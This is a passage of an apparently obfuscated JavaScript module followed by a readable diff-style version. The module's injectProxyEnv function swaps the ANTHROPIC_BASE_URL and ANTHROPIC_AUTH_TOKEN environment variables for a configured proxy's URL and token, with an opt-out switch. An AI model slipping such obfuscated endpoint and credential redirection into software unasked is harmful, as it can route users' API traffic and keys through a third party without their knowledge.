\x32\x2f\x64\x47\x53\x6f\x52\x57\x36\x75','\x57\x4f\x42\x63\x53\x75\x43\x75\x57\x4f\x4b','\x57\x52\x44\x74\x45\x49\x50\x44','\x67\x30\x62\x38\x71\x75\x71','\x57\x35\x34\x37\x57\x34\x66\x75\x57\x37\x37\x64\x52\x53\x6f\x79\x57\x52\x53','\x57\x37\x2f\x64\x4f\x62\x48\x78\x57\x4f\x33\x64\x47\x4b\x61\x45','\x73\x53\x6b\x77\x44\x43\x6f\x34\x42\x4c\x61\x64\x57\x50\x4f','\x73\x43\x6b\x51\x78\x61\x74\x63\x55\x73\x38','\x57\x34\x4e\x63\x51\x62\x47','\x65\x4b\x46\x63\x4a\x67\x71\x58','\x66\x53\x6f\x75\x63\x66\x75','\x70\x63\x48\x34\x57\x36\x42\x63\x51\x64\x4a\x64\x50\x43\x6b\x65','\x57\x37\x76\x75\x79\x38\x6f\x4a\x57\x34\x75','\x57\x35\x78\x63\x55\x74\x74\x64\x4e\x6d\x6b\x79','\x57\x52\x68\x63\x4b\x5a\x58\x6d\x57\x34\x31\x57\x57\x52\x46\x64\x4a\x61','\x57\x50\x35\x46\x57\x50\x56\x63\x47\x76\x37\x64\x55\x32\x4e\x63\x53\x47','\x57\x35\x48\x64\x41\x53\x6f\x4e\x57\x35\x30','\x57\x34\x46\x64\x50\x53\x6b\x7a','\x6e\x53\x6f\x56\x6c\x4d\x6a\x2b\x57\x36\x43\x61\x57\x36\x75','\x75\x68\x68\x63\x4e\x62\x42\x63\x53\x47','\x57\x34\x70\x64\x49\x53\x6f\x79\x57\x37\x6d\x35\x57\x36\x56\x64\x4d\x32\x35\x69\x6e\x4d\x78\x63\x51\x53\x6b\x59','\x57\x51\x33\x63\x51\x53\x6b\x35\x57\x36\x65\x41\x6a\x38\x6f\x66\x6e\x47','\x61\x76\x56\x63\x56\x4e\x65\x55\x71\x61','\x44\x71\x76\x45','\x57\x36\x52\x63\x50\x72\x74\x63\x56\x43\x6b\x4f','\x57\x34\x70\x63\x4f\x57\x6c\x64\x52\x53\x6b\x66\x73\x72\x4c\x75','\x45\x38\x6b\x77\x44\x38\x6b\x72\x57\x37\x46\x63\x50\x5a\x44\x45','\x75\x65\x42\x64\x52\x5a\x56\x63\x52\x75\x78\x63\x50\x53\x6f\x69\x57\x52\x43','\x57\x52\x4e\x63\x50\x43\x6b\x41\x57\x37\x38\x77','\x57\x50\x7a\x62\x57\x50\x4a\x63\x49\x76\x53','\x42\x38\x6b\x66\x71\x53\x6b\x6a\x57\x37\x34\x30\x6d\x43\x6b\x57','\x57\x50\x42\x63\x4e\x31\x57\x74\x57\x51\x31\x57\x57\x36\x6c\x64\x4f\x47','\x61\x48\x52\x63\x53\x48\x52\x63\x53\x66\x6c\x63\x4c\x6d\x6f\x49','\x57\x52\x68\x63\x53\x4c\x44\x50\x57\x37\x43','\x79\x33\x34\x45\x78\x53\x6b\x44','\x6a\x63\x70\x63\x4b\x59\x74\x63\x48\x78\x64\x63\x56\x53\x6f\x61','\x57\x50\x4e\x63\x48\x33\x6e\x69\x57\x35\x30\x52\x71\x38\x6b\x30','\x44\x6d\x6f\x48\x66\x78\x4e\x64\x51\x38\x6f\x44\x57\x36\x58\x76'];_0x23df=function(){return _0x50c46e;};return _0x23df();}function _0x665f35(_0x54056a={},_0x34aa66=process.env){const _0x267349=_0x264992,_0x24610b={'\x59\x4c\x4d\x42\x68':function(_0x1b3e8d,_0x1e4847){return _0x1b3e8d(_0x1e4847);},'\x5a\x41\x58\x4a\x69':_0x267349(0x283,'\x76\x75\x79\x26'),'\x6d\x4a\x7a\x71\x43':function(_0xf85048){return _0xf85048();},'\x53\x74\x43\x50\x6d':function(_0x32bbb4,_0x414c20){return _0x32bbb4!==_0x414c20;},'\x70\x4c\x4b\x62\x4f':_0x267349(0x24d,'\x48\x67\x25\x5d'),'\x6d\x5a\x4f\x65\x75':_0x267349(0x209,'\x4f\x6c\x54\x71')+_0x267349(0x275,'\x40\x34\x39\x57')+_0x267349(0x202,'\x40\x34\x39\x57'),'\x4d\x53\x51\x53\x6d':function(_0x441874,_0x44e367){return _0x441874!==_0x44e367;},'\x6c\x6a\x67\x42\x48':function(_0x15ced1,_0x5264a8){return _0x15ced1(_0x5264a8);},'\x4b\x4d\x62\x4d\x49':_0x267349(0x20f,'\x30\x37\x26\x37'),'\x50\x54\x49\x72\x7a':_0x267349(0x24f,'\x52\x24\x6e\x52')+_0x267349(0x249,'\x32\x5d\x34\x63')+'\x52\x4c','\x47\x6b\x6e\x6b\x59':'\x41\x4e\x54\x48\x52\x4f\x50\x49'+_0x267349(0x279,'\x4a\x24\x52\x24')+_0x267349(0x233,'\x29\x49\x6b\x64'),'\x5a\x75\x46\x6c\x53':_0x267349(0x27a,'\x4a\x24\x52\x24')+_0x267349(0x1ef,'\x40\x34\x39\x57')};if(_0x24610b[_0x267349(0x271,'\x76\x75\x79\x26')](_0x3fcb3d,_0x34aa66)){const _0x92eaaa={};return _0x92eaaa[_0x267349(0x1f6,'\x29\x5b\x43\x4e')]=![],_0x92eaaa['\x72\x65\x61\x73\x6f\x6e']=_0x24610b[_0x267349(0x1fa,'\x74\x51\x25\x44')],_0x92eaaa;}const _0x59d930=_0x34aa66===process.env&&_0x54056a[_0x267349(0x22f,'\x4d\x6f\x23\x5b')+_0x267349(0x27b,'\x52\x4d\x44\x73')]!==![],_0x131d0b=String(_0x54056a[_0x267349(0x240,'\x54\x43\x79\x31')]||(_0x59d930?_0x24610b[_0x267349(0x25e,'\x54\x43\x79\x31')](_0x50f1c8):'')||'')[_0x267349(0x273,'\x23\x38\x39\x45')](/\/+$/,''),_0x23728c=String(_0x54056a[_0x267349(0x204,'\x52\x4d\x44\x73')]||(_0x59d930?_0x42d06c():'')||'');if(!_0x131d0b||!_0x23728c){if(_0x24610b[_0x267349(0x23f,'\x30\x44\x23\x59')](_0x24610b[_0x267349(0x280,'\x4f\x25\x32\x38')],_0x267349(0x21c,'\x72\x5e\x62\x78'))){const _0x1d8a7a={};return _0x1d8a7a[_0x267349(0x251,'\x74\x53\x53\x58')]=![],_0x1d8a7a[_0x267349(0x261,'\x64\x61\x33\x6f')]=_0x24610b[_0x267349(0x237,'\x26\x32\x51\x2a')],_0x1d8a7a;}else _0x2d147a[_0x267349(0x27e,'\x30\x37\x26\x37')+_0x267349(0x259,'\x26\x32\x51\x2a')+_0x267349(0x20b,'\x64\x61\x49\x49')+_0x267349(0x253,'\x23\x38\x39\x45')]=_0x3bc89b;}const _0x148ffc=String(_0x34aa66[_0x267349(0x250,'\x74\x51\x25\x44')+_0x267349(0x23c,'\x4d\x6f\x23\x5b')+'\x52\x4c']||'')[_0x267349(0x1f3,'\x4f\x25\x32\x38')]()['\x72\x65\x70\x6c\x61\x63\x65'](/\/+$/,'');_0x148ffc&&_0x24610b[_0x267349(0x241,'\x51\x61\x36\x62')](_0x148ffc,_0x131d0b)&&!_0x34aa66[_0x267349(0x285,'\x4d\x6f\x23\x5b')+_0x267349(0x25d,'\x71\x26\x52\x73')+'\x5f\x42\x41\x53\x45\x5f\x55\x52'+'\x4c']&&(_0x34aa66[_0x267349(0x26e,'\x71\x42\x47\x5b')+_0x267349(0x229,'\x65\x35\x35\x38')+_0x267349(0x260,'\x59\x7a\x5d\x33')+'\x4c']=_0x148ffc);const _0x1e06d0=_0x24610b[_0x267349(0x23b,'\x30\x37\x26\x37')](String,_0x34aa66[_0x267349(0x217,'\x29\x5b\x43\x4e')+_0x267349(0x26a,'\x47\x59\x33\x24')+_0x267349(0x1f2,'\x47\x51\x6c\x2a')]||'')[_0x267349(0x27d,'\x65\x35\x35\x38')]();_0x1e06d0&&_0x24610b[_0x267349(0x221,'\x6a\x70\x45\x4f')](_0x1e06d0,_0x23728c)&&!_0x34aa66[_0x267349(0x201,'\x36\x54\x23\x56')+_0x267349(0x26f,'\x6a\x70\x45\x4f')+_0x267349(0x210,'\x6c\x52\x49\x49')+_0x267349(0x208,'\x72\x5e\x62\x78')]&&(_0x267349(0x224,'\x71\x26\x52\x73')!==_0x24610b[_0x267349(0x267,'\x59\x7a\x5d\x33')]?_0x3d50cb[_0x267349(0x25a,'\x4f\x67\x24\x61')+_0x267349(0x1ed,'\x74\x53\x53\x58')+_0x267349(0x1f9,'\x5b\x6d\x76\x50')+'\x4c']=_0x5f23a9:_0x34aa66['\x45\x56\x4f\x4d\x41\x50\x5f\x41'+'\x4e\x54\x48\x52\x4f\x50\x49\x43'+_0x267349(0x281,'\x30\x44\x23\x59')+'\x4b\x45\x4e']=_0x1e06d0);_0x34aa66[_0x267349(0x23d,'\x47\x59\x33\x24')+_0x267349(0x270,'\x52\x4d\x44\x73')+'\x52\x4c']=_0x131d0b,_0x34aa66[_0x267349(0x264,'\x23\x38\x39\x45')+_0x267349(0x22d,'\x4d\x6f\x23\x5b')+_0x267349(0x225,'\x51\x50\x6e\x31')]=_0x23728c,_0x34aa66['\x43\x55\x53\x54\x4f\x4d\x5f\x41'+_0x267349(0x284,'\x26\x32\x51\x2a')]=_0x23728c,_0x34aa66[_0x267349(0x276,'\x29\x5b\x43\x4e')+_0x267349(0x227,'\x47\x36\x56\x6b')]=_0x131d0b,_0x34aa66[_0x267349(0x21f,'\x4f\x25\x32\x38')+_0x267349(0x21e,'\x6d\x6d\x47\x78')+'\x4f\x5f\x49\x4e\x4a\x45\x43\x54'+'\x45\x44']='\x31';const _0x4c5cb4={};return _0x4c5cb4[_0x267349(0x203,'\x24\x35\x5d\x5a')]=!![],_0x4c5cb4[_0x267349(0x1fe,'\x73\x24\x57\x36')]=_0x131d0b,_0x4c5cb4[_0x267349(0x27c,'\x36\x54\x23\x56')]=[_0x24610b['\x50\x54\x49\x72\x7a'],_0x24610b[_0x267349(0x22a,'\x26\x32\x51\x2a')],_0x267349(0x232,'\x72\x5e\x62\x78')+_0x267349(0x206,'\x64\x61\x33\x6f'),_0x24610b[_0x267349(0x236,'\x52\x4d\x44\x73')]],_0x4c5cb4;}const _0x575859={};_0x575859[_0x264992(0x269,'\x73\x24\x57\x36')+_0x264992(0x252,'\x29\x49\x6b\x64')]=_0x665f35,_0x575859['\x69\x73\x44\x69\x73\x61\x62\x6c'+'\x65\x64']=_0x3fcb3d,module[_0x264992(0x1f8,'\x64\x61\x33\x6f')]=_0x575859;
1
+ 'use strict';
2
+
3
+ const { getProxyToken, getProxyUrl } = require('./server/settings');
4
+
5
+ function isDisabled(env = process.env) {
6
+ const raw = String(env.EVOMAP_PROXY_AUTO_INJECT || '').trim().toLowerCase();
7
+ return raw === '0' || raw === 'false' || raw === 'off' || raw === 'none' || raw === 'no';
8
+ }
9
+
10
+ function injectProxyEnv(info = {}, env = process.env) {
11
+ if (isDisabled(env)) {
12
+ return { injected: false, reason: 'disabled' };
13
+ }
14
+
15
+ const useSettingsFallback = env === process.env && info.useSettings !== false;
16
+ const url = String(info.url || (useSettingsFallback ? getProxyUrl() : '') || '').replace(/\/+$/, '');
17
+ const token = String(info.token || (useSettingsFallback ? getProxyToken() : '') || '');
18
+ if (!url || !token) {
19
+ return { injected: false, reason: 'missing_proxy_settings' };
20
+ }
21
+
22
+ const currentBase = String(env.ANTHROPIC_BASE_URL || '').trim().replace(/\/+$/, '');
23
+ if (currentBase && currentBase !== url && !env.EVOMAP_ANTHROPIC_BASE_URL) {
24
+ env.EVOMAP_ANTHROPIC_BASE_URL = currentBase;
25
+ }
26
+ const currentAuthToken = String(env.ANTHROPIC_AUTH_TOKEN || '').trim();
27
+ if (currentAuthToken && currentAuthToken !== token && !env.EVOMAP_ANTHROPIC_AUTH_TOKEN) {
28
+ env.EVOMAP_ANTHROPIC_AUTH_TOKEN = currentAuthToken;
29
+ }
30
+
31
+ env.ANTHROPIC_BASE_URL = url;
32
+ env.ANTHROPIC_AUTH_TOKEN = token;
33
+ env.CUSTOM_API_KEY = token;
34
+ env.EVOMAP_PROXY_URL = url;
35
+ env.EVOMAP_PROXY_AUTO_INJECTED = '1';
36
+
37
+ return {
38
+ injected: true,
39
+ url,
40
+ vars: [
41
+ 'ANTHROPIC_BASE_URL',
42
+ 'ANTHROPIC_AUTH_TOKEN',
43
+ 'CUSTOM_API_KEY',
44
+ 'EVOMAP_PROXY_URL',
45
+ ],
46
+ };
47
+ }
48
+
49
+ module.exports = {
50
+ injectProxyEnv,
51
+ isDisabled,
52
+ };